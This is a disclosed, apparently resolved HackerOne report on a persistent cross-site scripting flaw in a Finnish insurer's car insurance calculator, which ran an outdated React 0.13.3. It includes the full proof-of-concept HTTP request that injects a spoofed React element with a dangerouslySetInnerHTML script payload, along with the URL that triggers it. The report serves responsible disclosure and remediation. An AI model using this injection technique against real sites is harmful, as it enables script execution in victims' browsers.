Persistent XSS at verkkopalvelu.tapiola.fi using spoofed React element and React v.0.13.3
Unknown
Vulnerability Details
Hi,
## Background
I noticed that the app at:
https://verkkopalvelu.tapiola.fi/e2/autovakuutus/vakuutuslaskuri/
was running an old version of React. In this version (0.13.3) there's an issue, initially discovered by @danlec actually on HackerOne: http://danlec.com/blog/xss-via-a-spoofed-react-element
The patch by React was made in version 0.14: https://facebook.github.io/react/blog/2015/10/07/react-v0.14.html
## PoC
So I noticed that the application had a possible way to save a registration in the middle of the process, being able to get an URL to continue with the registration. This save would make a call that looked like this:
```
POST /e2/autovakuutus/vakuutuslaskuri/api/vehicle/link/continue/ HTTP/1.1
Host: verkkopalvelu.lahitapiola.fi
Content-Type: application/json
{
"79rtwta5z4hjkn3npvu5ak0521": {
"dateOfIntroduction": {
"isValid": true,
"error": "",
...
}
```
This would then respond with a unique identifier:
```
{"id":"ID"}
```
This data would then be used, if you used a link formatted like this:
https://verkkopalvelu.tapiola.fi/e2/autovakuutus/vakuutuslaskuri/#/continue/ID
The problem, apart from running an old version of React, is that the JSON being saved is not controlled in any way what content it has, which means you're able to extend the JSON further. Now, the content in the elements are being placed inside the DOM of the page, especially the `"error"`-element.
So, to use @danlec's way to inject a spoofed React element, we use the following request:
```
POST /e2/autovakuutus/vakuutuslaskuri/api/vehicle/link/continue/ HTTP/1.1
Host: verkkopalvelu.lahitapiola.fi
Connection: keep-alive
Content-Length: 875
Accept: application/json, text/javascript
Content-Type: application/json
Accept-Encoding: gzip, deflate
Cookie: caruid=fd20a9cb-5d40-4127-8858-ca2961bdb789;
{"79rtwta5z4hjkn3npvu5ak0521":{"postCode":{"isValid":true,"error":{"_store":{},"type":"body","props":{"dangerouslySetInnerHTML":{"__html":"<img src=x onerror=alert(document.domain)>"}},"_isReactElement":true},"value":"jjj"},"dateOfIntroduction":{"isValid":true,"error":"","value":"JAJAJA"},"cylinderCapacity":{"isValid":true,"error":"","value":"yyy"},"manufacturerCode":{"isValid":true,"error":"","value":"zzz"},"netPower":{"isValid":true,"error":"","value":"bbb"},"birthDate":{"isValid":true,"error":"","value":"11.11.2011xxx"},"grossWeight":{"isValid":true,"error":"","value":"ccc"},"carType":{"isValid":true,"error":"","value":"x"},"isRentedOrLeased":{"isValid":true,"error":"","value":"eee"},"registrationPart2":{"isValid":true,"error":"","value":"fff"},"modelCode":{"isValid":true,"error":"","value":"ggg"},"registrationPart1":{"isValid":true,"error":"","value":"hhh"}}}
```
You can see my inserted payload here:
https://verkkopalvelu.lahitapiola.fi/e2/autovakuutus/vakuutuslaskuri/api/vehicle/link/continue/c455cb02-6a14-4767-9c63-eb22d9c16be5
Which would then result in the following URL using the React app:
https://verkkopalvelu.tapiola.fi/e2/autovakuutus/vakuutuslaskuri/#/continue/c455cb02-6a14-4767-9c63-eb22d9c16be5
Which has the following output in the DOM:
{F94020}
That results in the javascript running when accessing the page:
{F94022}
## Solution
You should update the React version to >0.14 (and most likely also change so the structure of the JSON that is getting saved is controlled by you.
Regards,
Frans
Actions
View on HackerOneReport Stats
- Report ID: 139004
- State: Closed
- Substate: resolved
- Upvotes: 27